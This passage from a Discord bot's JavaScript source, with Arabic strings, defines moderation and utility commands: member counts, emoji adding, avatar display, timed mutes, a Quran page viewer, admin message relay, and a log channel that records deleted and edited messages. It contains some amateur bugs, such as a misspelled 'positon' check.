1025:heart: الخاملين : ${
1026 message.guild.members.filter(m => m.presence.status == "dnd").size
1027 }
1028:yellow_heart: مشغولين : ${
1029 message.guild.members.filter(m => m.presence.status == "idle").size
1030 }
1031:diamond_shape_with_a_dot_inside: عدد اعضاء : ${message.guild.memberCount -
1032 message.guild.members.filter(m => m.user.bot).size}
1033:bulb: عدد البوتات : ${message.guild.members.filter(m => m.user.bot).size} ** `
1034 ];
1035 let page = 1;
1036
1037 let embed = new Discord.RichEmbed() // BY KIllerFox ==== KillerFox
1038 .setColor("RANDOM")
1039 .setAuthor("Members info ", client.user.avatarURL)
1040 .setThumbnail(client.user.avatarURL)
1041 .setFooter(`Page ${page} of ${pages.length}`)
1042 .setDescription(pages[page - 1]);
1043
1044 message.channel.sendEmbed(embed).then(msg => {
1045 // BY KIllerFox ==== KillerFox
1046
1047 msg.react("◀").then(r => {
1048 msg.react("▶");
1049
1050 const backwordsFilters = (reaction, user) =>
1051 reaction.emoji.name === "◀" && user.id === message.author.id;
1052 const forwordsFilters = (reaction, user) =>
1053 reaction.emoji.name === "▶" && user.id === message.author.id;
1054
1055 const backwords = msg.createReactionCollector(backwordsFilters, {
1056 time: 20000000
1057 });
1058 const forwords = msg.createReactionCollector(forwordsFilters, {
1059 time: 20000000
1060 });
1061
1062 backwords.on("collect", r => {
1063 if (page === 1) return;
1064 page--;
1065 embed.setDescription(pages[page - 1]);
1066 embed.setFooter(`Page ${page} of ${pages.length}`); // BY KIllerFox ==== KillerFox
1067 msg.edit(embed);
1068 });
1069 forwords.on("collect", r => {
1070 if (page === pages.length) return;
1071 page++;
1072 embed.setDescription(pages[page - 1]);
1073 embed.setFooter(`Page ${page} of ${pages.length}`); // BY KIllerFox ==== KillerFox
1074 msg.edit(embed);
1075 });
1076 });
1077 });
1078 }
1079});
1080
1081//
1082
1083client.on("message", message => {
1084 if (message.content.startsWith(prefix + "add")) {
1085 if (!message.member.hasPermission("ADMINISTRATOR"))
1086 return message.channel.send("للأسف لا تمتلك صلاحية ADMINISTRATOR");
1087 let args = message.content
1088 .split(" ")
1089 .slice(1)
1090 .join(" ");
1091 if (!args)
1092 return message.channel.send(
1093 "**Please type the emoji ID after the command!**"
1094 );
1095 if (args.length < "18" || args.length > "18" || isNaN(args))
1096 return message.channel.send(`**This emoji Can't be Found ❌**`);
1097 message.guild
1098 .createEmoji(`https://cdn.discordapp.com/emojis/${args}.png`, `${args}`)
1099 .catch(mstry => {
1100 return message.channel.send(`**This emoji Can't be Found ❌**`);
1101 });
1102 message.channel.send(`**Successfully Added The Emoji ✅**`);
1103 }
1104});
1105
1106///
1107
1108client.on("message", message => {
1109 const mm = message.mentions.members.first() || message.member;
1110
1111 if (message.content.startsWith(prefix + "avatar")) {
1112 const embed = new Discord.RichEmbed()
1113
1114 .setAuthor(mm.user.tag, mm.user.avatarURL)
1115
1116 .setTitle("Avatar Link")
1117
1118 .setURL(mm.user.avatarURL)
1119
1120 .setColor("RANDOM")
1121
1122 .setImage(mm.user.avatarURL)
1123
1124 .setFooter(
1125 `Requested By : ${message.author.tag}`,
1126 message.author.avatarURL
1127 );
1128
1129 message.channel.send(embed);
1130 }
1131});
1132
1133//
1134
1135client.on("message", async message => {
1136 let args = message.content.split(" ");
1137 if (message.content.startsWith(prefix + "mute")) {
1138 if (!message.member.hasPermission("MUTE_MEMBERS"))
1139 return message.channel.send("").then(msg => {
1140 msg.delete(3500);
1141 message.delete(3500);
1142 });
1143
1144 if (!message.guild.member(client.user).hasPermission("MUTE_MEMBERS"))
1145 return message.channel.send("").then(msg => {
1146 msg.delete(3500);
1147 message.delete(3500);
1148 });
1149
1150 let mention = message.mentions.members.first(); //kinggamer حقوق الفا كودز و
1151 if (!mention)
1152 return message.channel.send("").then(msg => {
1153 //kinggamer حقوق الفا كودز و
1154 msg.delete(3500);
1155 message.delete(3500);
1156 });
1157
1158 if (mention.id === message.author.id)
1159 return message.channel
1160 .send("**You Cannot give mute to your self :x:**")
1161 .then(msg => {
1162 msg.delete(3500);
1163 message.delete(3500); //kinggamer حقوق الفا كودز و
1164 });
1165
1166 if (mention.hasPermission("ADMINISTRATOR"))
1167 return message.channel.send(
1168 `**You can't give mute for a staff member. :x:**`
1169 ); //kinggamer حقوق الفا كودز و
1170
1171 if (message.guild.member(mention).roles.find("name", "Muted"))
1172 return message.channel.send(
1173 `**:information_source: ${mention.user.username} Already Muted**`
1174 );
1175
1176 if (mention.position >= message.guild.member(message.author).positon)
1177 return message.channel
1178 .send("You Donot Have Permission **Muted_Members** ")
1179 .then(msg => {
1180 msg.delete(3500);
1181 message.delete(3500);
1182 });
1183
1184 if (mention.positon >= message.guild.member(client.user).positon)
1185 return message.channel
1186 .send("I Donot Have Permission **Muted_Members**")
1187 .then(msg => {
1188 msg.delete(3500);
1189 message.delete(3500); //kinggamer حقوق الفا كودز و
1190 });
1191
1192 let duration = args[2];
1193 if (!duration)
1194 message.channel
1195 .send(`**:hash: You Can Use ${prefix}mute @user [ Time ] [ Reason] **`)
1196 .then(msg => {
1197 msg.delete(3500);
1198 message.delete(3500);
1199 });
1200
1201 if (isNaN(duration))
1202 message.channel.send("").then(msg => {
1203 msg.delete(3500);
1204 message.delete(3500);
1205 });
1206
1207 let reason = message.content
1208 .split(" ")
1209 .slice(3)
1210 .join(" ");
1211 if (!reason) reason = " [ **No Reason.** ] ";
1212
1213 let thisEmbed = new Discord.RichEmbed()
1214 .setAuthor(mention.user.username, mention.user.avatarURL)
1215 .setTitle("**You Have been Muted !!**")
1216 .addField("**Server**", [message.guild.name]) //kinggamer حقوق الفا كودز و
1217 .addField("**BY:**", [message.author])
1218 .addField("**Reason:**", reason)
1219 .addField("**Time:**", duration);
1220
1221 let role =
1222 message.guild.roles.find("name", "Muted") ||
1223 message.guild.roles.get(r => r.name === "Muted");
1224 if (!role)
1225 try {
1226 message.guild
1227 .createRole({
1228 name: "Muted",
1229 permissions: 0 //kinggamer حقوق الفا كودز و
1230 })
1231 .then(r => {
1232 message.guild.channels.forEach(c => {
1233 c.overwritePermissions(r, {
1234 SEND_MESSAGES: false, //kinggamer حقوق الفا كودز و
1235 READ_MESSAGES_HISTORY: false,
1236 ADD_REACTIONS: false
1237 });
1238 });
1239 }); //kinggamer حقوق الفا كودز و
1240 } catch (e) {
1241 console.log(e.stack);
1242 }
1243 mention.addRole(role).then(() => {
1244 mention.send(thisEmbed);
1245 message.channel.send(
1246 `**:ballot_box_with_check: | ${mention.user.username} Muted !**`
1247 );
1248 mention.setMute(true); //kinggamer حقوق الفا كودز و
1249 });
1250 setTimeout(() => {
1251 if (duration === 0) return;
1252 mention.setMute(false);
1253 mention.removeRole(role);
1254 }, duration * 60000); //kinggamer حقوق الفا كودز و
1255 }
1256});
1257
1258///
1259
1260client.on("message", message => {
1261 var prefix = "$";
1262
1263 if (message.content === prefix + "date") {
1264 if (!message.channel.guild)
1265 return message.reply("** This command only for servers **");
1266 var currentTime = new Date(),
1267 Year = currentTime.getFullYear(),
1268 Month = currentTime.getMonth() + 1,
1269 Day = currentTime.getDate();
1270
1271 var Date15 = new Discord.RichEmbed()
1272 .setTitle("**!-[ التاريخ ]-! **")
1273 .setColor("RANDOM")
1274 .setTimestamp()
1275 .setDescription("" + Day + "-" + Month + "-" + Year + "");
1276 message.channel.sendEmbed(Date15);
1277 }
1278});
1279
1280//
1281
1282client.on("message", message => {
1283 if (message.content === prefix + "quran") {
1284 let pages = [
1285 "http://quran.ksu.edu.sa/ayat/safahat1/1.png",
1286 "http://quran.ksu.edu.sa/ayat/safahat1/2.png",
1287 "http://quran.ksu.edu.sa/ayat/safahat1/3.png",
1288 "http://quran.ksu.edu.sa/ayat/safahat1/4.png",
1289 "http://quran.ksu.edu.sa/ayat/safahat1/5.png",
1290 "http://quran.ksu.edu.sa/ayat/safahat1/6.png",
1291 "http://quran.ksu.edu.sa/ayat/safahat1/7.png",
1292 "http://quran.ksu.edu.sa/ayat/safahat1/8.png",
1293 "http://quran.ksu.edu.sa/ayat/safahat1/9.png",
1294 "http://quran.ksu.edu.sa/ayat/safahat1/10.png",
1295 "http://quran.ksu.edu.sa/ayat/safahat1/11.png",
1296 "http://quran.ksu.edu.sa/ayat/safahat1/12.png",
1297 "http://quran.ksu.edu.sa/ayat/safahat1/13.png",
1298 "http://quran.ksu.edu.sa/ayat/safahat1/14.png",
1299 "http://quran.ksu.edu.sa/ayat/safahat1/15.png",
1300 "http://quran.ksu.edu.sa/ayat/safahat1/16.png",
1301 "http://quran.ksu.edu.sa/ayat/safahat1/17.png",
1302 "http://quran.ksu.edu.sa/ayat/safahat1/18.png",
1303 "http://quran.ksu.edu.sa/ayat/safahat1/19.png",
1304 "http://quran.ksu.edu.sa/ayat/safahat1/20.png",
1305 "http://quran.ksu.edu.sa/ayat/safahat1/21.png",
1306 "http://quran.ksu.edu.sa/ayat/safahat1/22.png",
1307 "http://quran.ksu.edu.sa/ayat/safahat1/23.png",
1308 "http://quran.ksu.edu.sa/ayat/safahat1/24.png",
1309 "http://quran.ksu.edu.sa/ayat/safahat1/25.png",
1310 "http://quran.ksu.edu.sa/ayat/safahat1/26.png",
1311 "http://quran.ksu.edu.sa/ayat/safahat1/27.png",
1312 "http://quran.ksu.edu.sa/ayat/safahat1/28.png",
1313 "http://quran.ksu.edu.sa/ayat/safahat1/29.png",
1314 "http://quran.ksu.edu.sa/ayat/safahat1/30.png",
1315 "http://quran.ksu.edu.sa/ayat/safahat1/31.png",
1316 "http://quran.ksu.edu.sa/ayat/safahat1/32.png",
1317 "http://quran.ksu.edu.sa/ayat/safahat1/33.png",
1318 "http://quran.ksu.edu.sa/ayat/safahat1/34.png",
1319 "http://quran.ksu.edu.sa/ayat/safahat1/35.png",
1320 "http://quran.ksu.edu.sa/ayat/safahat1/36.png",
1321 "http://quran.ksu.edu.sa/ayat/safahat1/37.png",
1322 "http://quran.ksu.edu.sa/ayat/safahat1/38.png",
1323 "http://quran.ksu.edu.sa/ayat/safahat1/39.png",
1324 "http://quran.ksu.edu.sa/ayat/safahat1/40.png",
1325 "http://quran.ksu.edu.sa/ayat/safahat1/41.png",
1326 "http://quran.ksu.edu.sa/ayat/safahat1/42.png",
1327 "http://quran.ksu.edu.sa/ayat/safahat1/43.png",
1328 "http://quran.ksu.edu.sa/ayat/safahat1/44.png",
1329 "http://quran.ksu.edu.sa/ayat/safahat1/45.png",
1330 "http://quran.ksu.edu.sa/ayat/safahat1/46.png",
1331 "http://quran.ksu.edu.sa/ayat/safahat1/47.png",
1332 "http://quran.ksu.edu.sa/ayat/safahat1/48.png",
1333 "http://quran.ksu.edu.sa/ayat/safahat1/49.png",
1334 "http://quran.ksu.edu.sa/ayat/safahat1/50.png",
1335 "http://quran.ksu.edu.sa/ayat/safahat1/51.png",
1336 "http://quran.ksu.edu.sa/ayat/safahat1/52.png",
1337 "http://quran.ksu.edu.sa/ayat/safahat1/53.png",
1338 "http://quran.ksu.edu.sa/ayat/safahat1/55.png",
1339 "http://quran.ksu.edu.sa/ayat/safahat1/56.png",
1340 "http://quran.ksu.edu.sa/ayat/safahat1/57.png",
1341 "http://quran.ksu.edu.sa/ayat/safahat1/58.png",
1342 "http://quran.ksu.edu.sa/ayat/safahat1/59.png",
1343 "http://quran.ksu.edu.sa/ayat/safahat1/60.png",
1344 "http://quran.ksu.edu.sa/ayat/safahat1/60.png",
1345 "http://quran.ksu.edu.sa/ayat/safahat1/61.png",
1346 "http://quran.ksu.edu.sa/ayat/safahat1/62.png",
1347 "http://quran.ksu.edu.sa/ayat/safahat1/63.png",
1348 "http://quran.ksu.edu.sa/ayat/safahat1/64.png",
1349 "http://quran.ksu.edu.sa/ayat/safahat1/65.png",
1350 "http://quran.ksu.edu.sa/ayat/safahat1/66.png",
1351 "http://quran.ksu.edu.sa/ayat/safahat1/67.png",
1352 "http://quran.ksu.edu.sa/ayat/safahat1/68.png",
1353 "http://quran.ksu.edu.sa/ayat/safahat1/69.png",
1354 "http://quran.ksu.edu.sa/ayat/safahat1/70.png",
1355 "http://quran.ksu.edu.sa/ayat/safahat1/71.png",
1356 "http://quran.ksu.edu.sa/ayat/safahat1/72.png",
1357 "http://quran.ksu.edu.sa/ayat/safahat1/73.png",
1358 "http://quran.ksu.edu.sa/ayat/safahat1/74.png",
1359 "http://quran.ksu.edu.sa/ayat/safahat1/75.png",
1360 "http://quran.ksu.edu.sa/ayat/safahat1/76.png",
1361 "http://quran.ksu.edu.sa/ayat/safahat1/77.png",
1362 "http://quran.ksu.edu.sa/ayat/safahat1/78.png",
1363 "http://quran.ksu.edu.sa/ayat/safahat1/79.png",
1364 "http://quran.ksu.edu.sa/ayat/safahat1/80.png",
1365 "http://quran.ksu.edu.sa/ayat/safahat1/81.png",
1366 "http://quran.ksu.edu.sa/ayat/safahat1/82.png",
1367 "http://quran.ksu.edu.sa/ayat/safahat1/83.png",
1368 "http://quran.ksu.edu.sa/ayat/safahat1/84.png",
1369 "http://quran.ksu.edu.sa/ayat/safahat1/85.png",
1370 "http://quran.ksu.edu.sa/ayat/safahat1/86.png",
1371 "http://quran.ksu.edu.sa/ayat/safahat1/87.png",
1372 "http://quran.ksu.edu.sa/ayat/safahat1/88.png",
1373 "http://quran.ksu.edu.sa/ayat/safahat1/89.png",
1374 "http://quran.ksu.edu.sa/ayat/safahat1/90.png",
1375 "http://quran.ksu.edu.sa/ayat/safahat1/91.png",
1376 "http://quran.ksu.edu.sa/ayat/safahat1/92.png",
1377 "http://quran.ksu.edu.sa/ayat/safahat1/93.png",
1378 "http://quran.ksu.edu.sa/ayat/safahat1/94.png",
1379 "http://quran.ksu.edu.sa/ayat/safahat1/95.png",
1380 "http://quran.ksu.edu.sa/ayat/safahat1/96.png",
1381 "http://quran.ksu.edu.sa/ayat/safahat1/97.png",
1382 "http://quran.ksu.edu.sa/ayat/safahat1/98.png",
1383 "http://quran.ksu.edu.sa/ayat/safahat1/99.png",
1384 "http://quran.ksu.edu.sa/ayat/safahat1/100.png",
1385 "http://quran.ksu.edu.sa/ayat/safahat1/101.png",
1386 "http://quran.ksu.edu.sa/ayat/safahat1/102.png",
1387 "http://quran.ksu.edu.sa/ayat/safahat1/103.png",
1388 "http://quran.ksu.edu.sa/ayat/safahat1/104.png",
1389 "http://quran.ksu.edu.sa/ayat/safahat1/105.png",
1390 "http://quran.ksu.edu.sa/ayat/safahat1/106.png",
1391 "http://quran.ksu.edu.sa/ayat/safahat1/107.png",
1392 "http://quran.ksu.edu.sa/ayat/safahat1/108.png",
1393 "http://quran.ksu.edu.sa/ayat/safahat1/109.png",
1394 "http://quran.ksu.edu.sa/ayat/safahat1/110.png",
1395 "http://quran.ksu.edu.sa/ayat/safahat1/111.png",
1396 "http://quran.ksu.edu.sa/ayat/safahat1/112.png",
1397 "http://quran.ksu.edu.sa/ayat/safahat1/113.png",
1398 "http://quran.ksu.edu.sa/ayat/safahat1/114.png",
1399 "http://quran.ksu.edu.sa/ayat/safahat1/115.png",
1400 "http://quran.ksu.edu.sa/ayat/safahat1/116.png",
1401 "http://quran.ksu.edu.sa/ayat/safahat1/117.png",
1402 "http://quran.ksu.edu.sa/ayat/safahat1/118.png",
1403 "http://quran.ksu.edu.sa/ayat/safahat1/119.png",
1404 "http://quran.ksu.edu.sa/ayat/safahat1/120.png",
1405 "http://quran.ksu.edu.sa/ayat/safahat1/121.png",
1406 "http://quran.ksu.edu.sa/ayat/safahat1/122.png",
1407 "http://quran.ksu.edu.sa/ayat/safahat1/123.png",
1408 "http://quran.ksu.edu.sa/ayat/safahat1/124.png",
1409 "http://quran.ksu.edu.sa/ayat/safahat1/125.png",
1410 "http://quran.ksu.edu.sa/ayat/safahat1/126.png",
1411 "http://quran.ksu.edu.sa/ayat/safahat1/127.png",
1412 "http://quran.ksu.edu.sa/ayat/safahat1/128.png",
1413 "http://quran.ksu.edu.sa/ayat/safahat1/129.png",
1414 "http://quran.ksu.edu.sa/ayat/safahat1/130.png",
1415 "http://quran.ksu.edu.sa/ayat/safahat1/131.png",
1416 "http://quran.ksu.edu.sa/ayat/safahat1/132.png",
1417 "http://quran.ksu.edu.sa/ayat/safahat1/133.png",
1418 "http://quran.ksu.edu.sa/ayat/safahat1/134.png",
1419 "http://quran.ksu.edu.sa/ayat/safahat1/135.png",
1420 "http://quran.ksu.edu.sa/ayat/safahat1/136.png",
1421 "http://quran.ksu.edu.sa/ayat/safahat1/137.png",
1422 "http://quran.ksu.edu.sa/ayat/safahat1/138.png",
1423 "http://quran.ksu.edu.sa/ayat/safahat1/139.png",
1424 "http://quran.ksu.edu.sa/ayat/safahat1/140.png",
1425 "http://quran.ksu.edu.sa/ayat/safahat1/141.png",
1426 "http://quran.ksu.edu.sa/ayat/safahat1/142.png",
1427 "http://quran.ksu.edu.sa/ayat/safahat1/143.png",
1428 "http://quran.ksu.edu.sa/ayat/safahat1/144.png",
1429 "http://quran.ksu.edu.sa/ayat/safahat1/145.png",
1430 "http://quran.ksu.edu.sa/ayat/safahat1/146.png",
1431 "http://quran.ksu.edu.sa/ayat/safahat1/147.png",
1432 "http://quran.ksu.edu.sa/ayat/safahat1/148.png",
1433 "http://quran.ksu.edu.sa/ayat/safahat1/149.png",
1434 "http://quran.ksu.edu.sa/ayat/safahat1/150.png",
1435 "http://quran.ksu.edu.sa/ayat/safahat1/151.png",
1436 "http://quran.ksu.edu.sa/ayat/safahat1/152.png",
1437 "http://quran.ksu.edu.sa/ayat/safahat1/153.png",
1438 "http://quran.ksu.edu.sa/ayat/safahat1/154.png",
1439 "http://quran.ksu.edu.sa/ayat/safahat1/155.png",
1440 "http://quran.ksu.edu.sa/ayat/safahat1/156.png",
1441 "http://quran.ksu.edu.sa/ayat/safahat1/157.png",
1442 "http://quran.ksu.edu.sa/ayat/safahat1/158.png",
1443 "http://quran.ksu.edu.sa/ayat/safahat1/159.png",
1444 "http://quran.ksu.edu.sa/ayat/safahat1/160.png",
1445 "http://quran.ksu.edu.sa/ayat/safahat1/161.png",
1446 "http://quran.ksu.edu.sa/ayat/safahat1/162.png",
1447 "http://quran.ksu.edu.sa/ayat/safahat1/163.png",
1448 "http://quran.ksu.edu.sa/ayat/safahat1/164.png",
1449 "http://quran.ksu.edu.sa/ayat/safahat1/165.png",
1450 "http://quran.ksu.edu.sa/ayat/safahat1/166.png",
1451 "http://quran.ksu.edu.sa/ayat/safahat1/167.png",
1452 "http://quran.ksu.edu.sa/ayat/safahat1/168.png",
1453 "http://quran.ksu.edu.sa/ayat/safahat1/169.png",
1454 "http://quran.ksu.edu.sa/ayat/safahat1/170.png",
1455 "http://quran.ksu.edu.sa/ayat/safahat1/171.png",
1456 "http://quran.ksu.edu.sa/ayat/safahat1/172.png",
1457 "http://quran.ksu.edu.sa/ayat/safahat1/173.png",
1458 "http://quran.ksu.edu.sa/ayat/safahat1/174.png",
1459 "http://quran.ksu.edu.sa/ayat/safahat1/175.png",
1460 "http://quran.ksu.edu.sa/ayat/safahat1/176.png",
1461 "http://quran.ksu.edu.sa/ayat/safahat1/177.png",
1462 "http://quran.ksu.edu.sa/ayat/safahat1/178.png",
1463 "http://quran.ksu.edu.sa/ayat/safahat1/179.png",
1464 "http://quran.ksu.edu.sa/ayat/safahat1/180.png",
1465 "http://quran.ksu.edu.sa/ayat/safahat1/181.png",
1466 "http://quran.ksu.edu.sa/ayat/safahat1/182.png",
1467 "http://quran.ksu.edu.sa/ayat/safahat1/183.png",
1468 "http://quran.ksu.edu.sa/ayat/safahat1/184.png",
1469 "http://quran.ksu.edu.sa/ayat/safahat1/185.png",
1470 "http://quran.ksu.edu.sa/ayat/safahat1/186.png",
1471 "http://quran.ksu.edu.sa/ayat/safahat1/187.png",
1472 "http://quran.ksu.edu.sa/ayat/safahat1/188.png",
1473 "http://quran.ksu.edu.sa/ayat/safahat1/189.png",
1474 "http://quran.ksu.edu.sa/ayat/safahat1/190.png",
1475 "http://quran.ksu.edu.sa/ayat/safahat1/191.png",
1476 "http://quran.ksu.edu.sa/ayat/safahat1/192.png",
1477 "http://quran.ksu.edu.sa/ayat/safahat1/193.png",
1478 "http://quran.ksu.edu.sa/ayat/safahat1/194.png",
1479 "http://quran.ksu.edu.sa/ayat/safahat1/195.png",
1480 "http://quran.ksu.edu.sa/ayat/safahat1/196.png",
1481 "http://quran.ksu.edu.sa/ayat/safahat1/197.png",
1482 "http://quran.ksu.edu.sa/ayat/safahat1/198.png",
1483 "http://quran.ksu.edu.sa/ayat/safahat1/199.png",
1484 "http://quran.ksu.edu.sa/ayat/safahat1/200.png"
1485 ];
1486 let page = 1;
1487
1488 message.delete();
1489
1490 let embed = new Discord.RichEmbed()
1491 .setColor("#264d00")
1492 .setFooter(
1493 `القراآن الكريم | صفحة رقم ${page} من اصل ${pages.length} صفحة`,
1494 "https://cdn.discordapp.com/attachments/404332408075190282/412722171325054996/NS1.png"
1495 )
1496 .setImage(pages[page - 1]);
1497
1498 message.channel.sendEmbed(embed).then(msg => {
1499 msg.react("⏮").then(r => {
1500 msg
1501 .react("⬅")
1502 .then(() => msg.react("⏹"))
1503 .then(() => msg.react("➡"))
1504 .then(() => msg.react("⏭"));
1505
1506 let backwardsFilter = (reaction, user) =>
1507 reaction.emoji.name === "⬅" && user.id === message.author.id;
1508 let forwardsFilter = (reaction, user) =>
1509 reaction.emoji.name === "➡" && user.id === message.author.id;
1510
1511 let sbackwardsFilter = (reaction, user) =>
1512 reaction.emoji.name === "⏮" && user.id === message.author.id;
1513 let sforwardsFilter = (reaction, user) =>
1514 reaction.emoji.name === "⏭" && user.id === message.author.id;
1515
1516 let cancelFilter = (reaction, user) =>
1517 reaction.emoji.name === "⏹" && user.id === message.author.id;
1518
1519 let backwards = msg.createReactionCollector(backwardsFilter, {
1520 time: 0
1521 });
1522 let forwards = msg.createReactionCollector(forwardsFilter, { time: 0 });
1523
1524 let sbackwards = msg.createReactionCollector(sbackwardsFilter, {
1525 time: 0
1526 });
1527 let sforwards = msg.createReactionCollector(sforwardsFilter, {
1528 time: 0
1529 });
1530
1531 let cancel = msg.createReactionCollector(cancelFilter, { time: 0 });
1532
1533 backwards.on("collect", r => {
1534 if (page === 1) return;
1535 page--;
1536 embed.setImage(pages[page - 1]);
1537 embed.setFooter(
1538 `القراآن الكريم | صفحة رقم ${page} من اصل ${pages.length} صفحة`,
1539 "https://cdn.discordapp.com/attachments/404332408075190282/412722171325054996/NS1.png"
1540 );
1541 msg.edit(embed);
1542 });
1543 forwards.on("collect", r => {
1544 if (page === pages.length) return;
1545 page++;
1546 embed.setImage(pages[page - 1]);
1547 embed.setFooter(
1548 `القراآن الكريم | صفحة رقم ${page} من اصل ${pages.length} صفحة`,
1549 "https://cdn.discordapp.com/attachments/404332408075190282/412722171325054996/NS1.png"
1550 );
1551 msg.edit(embed);
1552 });
1553 sbackwards.on("collect", r => {
1554 if (page === 1) return;
1555 page = 1;
1556 embed.setImage(pages[page - 1]);
1557 embed.setFooter(
1558 `القراآن الكريم | صفحة رقم ${page} من اصل ${pages.length} صفحة`,
1559 "https://cdn.discordapp.com/attachments/404332408075190282/412722171325054996/NS1.png"
1560 );
1561 msg.edit(embed);
1562 });
1563 sforwards.on("collect", r => {
1564 if (page === pages.length) return;
1565 page = 200;
1566 embed.setImage(pages[page - 1]);
1567 embed.setFooter(
1568 `القراآن الكريم | صفحة رقم ${page} من اصل ${pages.length} صفحة`,
1569 "https://cdn.discordapp.com/attachments/404332408075190282/412722171325054996/NS1.png"
1570 );
1571 msg.edit(embed);
1572 });
1573 cancel.on("collect", r => {
1574 embed.setDescription(`**سوف يتم إغلاق القائمة**`);
1575 embed.setImage("");
1576 embed.setFooter(
1577 `Menu will close after 3sec`,
1578 "https://cdn.discordapp.com/attachments/404332408075190282/412722171325054996/NS1.png"
1579 );
1580 msg.edit(embed).then(msg.delete(3000));
1581 });
1582 });
1583 });
1584 }
1585});
1586
1587//
1588
1589client.on("message", message => {
1590 if (message.channel.type == "dm") return;
1591 if (message.content.startsWith(prefix + "talk")) {
1592 if (!message.member.hasPermission("ADMINISTRATOR"))
1593 return message.channel.send("للأسف لا تمتلك صلاحية ADMINISTRATOR");
1594 var attentions = {};
1595 attentions[message.guild.id] = {};
1596 message.channel.send(message.author + ", **Wait , PuP System**").then(m => {
1597 m.edit(message.author + ", **أرسل أيدي الروم**");
1598 m.channel
1599 .awaitMessages(m1 => m1.author == message.author, {
1600 maxMatches: 1,
1601 time: 600000
1602 })
1603 .then(m1 => {
1604 m1 = m1.first();
1605 attentions[message.guild.id]["id"] = m1.content;
1606 m1.delete();
1607 m1 = message.guild.channels.get(
1608 `${attentions[message.guild.id]["id"]}`
1609 );
1610 if (!m1)
1611 return message.reply(
1612 `**الأيدي هذا غير صحيح \`${
1613 attentions[message.guild.id]["id"]
1614 }\`**`
1615 );
1616
1617 m.edit(message.author + "**أرسل الرساله المراد توجيهها للروم**");
1618 m.channel
1619 .awaitMessages(m2 => m2.author == message.author, {
1620 maxMatches: 1,
1621 time: 600000
1622 })
1623 .then(m2 => {
1624 m2 = m2.first();
1625 attentions[message.guild.id]["msg"] = m2.content;
1626 m2.delete();
1627 m.delete();
1628 message.channel
1629 .send(
1630 `**هل تريد إرسال في روم <#${
1631 attentions[message.guild.id]["id"]
1632 }>
1633${attentions[message.guild.id]["msg"]}**`
1634 )
1635 .then(msge => {
1636 msge.react("✅").then(r => {
1637 msge.react("❌");
1638 const oneFilterBB = (reaction, user) =>
1639 reaction.emoji.name === "✅" &&
1640 user.id === message.author.id;
1641 const threeFilterBB = (reaction, user) =>
1642 reaction.emoji.name === "❌" &&
1643 user.id === message.author.id;
1644 const oneBY = msge.createReactionCollector(oneFilterBB, {
1645 maxMatches: 1,
1646 time: 400000
1647 });
1648 const threeBY = msge.createReactionCollector(
1649 threeFilterBB,
1650 { maxMatches: 1, time: 400000 }
1651 );
1652 oneBY
1653 .on("collect", r => {
1654 msge.delete();
1655 message.guild.channels
1656 .get(`${attentions[message.guild.id]["id"]}`)
1657 .send(`${attentions[message.guild.id]["msg"]}`);
1658 })
1659 .catch(RebeL => {
1660 console.log("`Error`: " + RebeL);
1661 });
1662 threeBY.on("collect", r => {
1663 msge.delete();
1664 });
1665 });
1666 });
1667 });
1668 });
1669 });
1670 }
1671});
1672
1673//
1674
1675client.on("message", message => {
1676 if (message.author.bot) return;
1677 if (!message.channel.guild) return;
1678 if (message.content.startsWith(prefix + "setlog")) {
1679 if (!message.member.hasPermission("ADMINISTRATOR"))
1680 return message.reply("**تحتاج الى `MANAGE_CHANNELS`**");
1681 let log = message.guild.channels.find("name", "log");
1682 if (log) return message.reply("**يوجد بالفعل روم اللوق**");
1683 if (!log) {
1684 message.guild.createChannel("log", "text").then(c => {
1685 c.overwritePermissions(message.guild.id, {
1686 SEND_MESSAGES: false
1687 });
1688 });
1689 message.channel.send("**✅ ,تم انشاء روم اللوق بنجــاح**");
1690 }
1691 }
1692});
1693client.on("error", console.error);
1694
1695client.on("messageDelete", message => {
1696 if (message.author.bot) return;
1697 if (message.channel.type === "dm") return;
1698 if (!message.guild.member(client.user).hasPermission("EMBED_LINKS")) return;
1699 if (!message.guild.member(client.user).hasPermission("MANAGE_MESSAGES"))
1700 return;
1701
1702 var logChannel = message.guild.channels.find(c => c.name === "log");
1703 if (!logChannel) return;
1704
1705 let messageDelete = new Discord.RichEmbed()
1706 .setTitle("**[MESSAGE DELETE]**")
1707 .setColor("RED")
1708 .setThumbnail(message.author.avatarURL)
1709 .setDescription(
1710 `**\n**:wastebasket: Successfully \`\`DELETE\`\` **MESSAGE** In ${message.channel}\n\n**Channel:** \`\`${message.channel.name}\`\` (ID: ${message.channel.id})\n**Message ID:** ${message.id}\n**Sent By:** <@${message.author.id}> (ID: ${message.author.id})\n**Message:**\n\`\`\`${message}\`\`\``
1711 )
1712 .setTimestamp()
1713 .setFooter(message.guild.name, message.guild.iconURL);
1714
1715 logChannel.send(messageDelete);
1716});
1717client.on("messageUpdate", (oldMessage, newMessage) => {
1718 if (oldMessage.author.bot) return;
1719 if (!oldMessage.channel.type === "dm") return;
1720 if (!oldMessage.guild.member(client.user).hasPermission("EMBED_LINKS"))
1721 return;
1722 if (!oldMessage.guild.member(client.user).hasPermission("MANAGE_MESSAGES"))
1723 return;
1724
1725 var logChannel = oldMessage.guild.channels.find(c => c.name === "log");
1726 if (!logChannel) return;
1727
1728 if (oldMessage.content.startsWith("https://")) return;
1729
1730 let messageUpdate = new Discord.RichEmbed()
1731 .setTitle("**[MESSAGE EDIT]**")
1732 .setThumbnail(oldMessage.author.avatarURL)
1733 .setColor("BLUE")
1734 .setDescription(
1735 `**\n**:wrench: Successfully \`\`EDIT\`\` **MESSAGE** In ${oldMessage.channel}\n\n**Channel:** \`\`${oldMessage.channel.name}\`\` (ID: ${oldMessage.channel.id})\n**Message ID:** ${oldMessage.id}\n**Sent By:** <@${oldMessage.author.id}> (ID: ${oldMessage.author.id})\n\n**Old Message:**\`\`\`${oldMessage}\`\`\`\n**New Message:**\`\`\`${newMessage}\`\`\``
1736 )
1737 .setTimestamp()
1738 .setFooter(oldMessage.guild.name, oldMessage.guild.iconURL);
1739
1740 logChannel.send(messageUpdate);
1741});
1742
1743client.on("roleCreate", role => {
1744 if (!role.guild.member(client.user).hasPermission("EMBED_LINKS")) return;
1745 if (!role.guild.member(client.user).hasPermission("VIEW_AUDIT_LOG")) return;
1746
1747 var logChannel = role.guild.channels.find(c => c.name === "log");
1748 if (!logChannel) return;
1749
1750 role.guild.fetchAuditLogs().then(logs => {
1751 var userID = logs.entries.first().executor.id;
1752 var userAvatar = logs.entries.first().executor.avatarURL;
1753
1754 let roleCreate = new Discord.RichEmbed()
1755 .setTitle("**[ROLE CREATE]**")
1756 .setThumbnail(userAvatar)
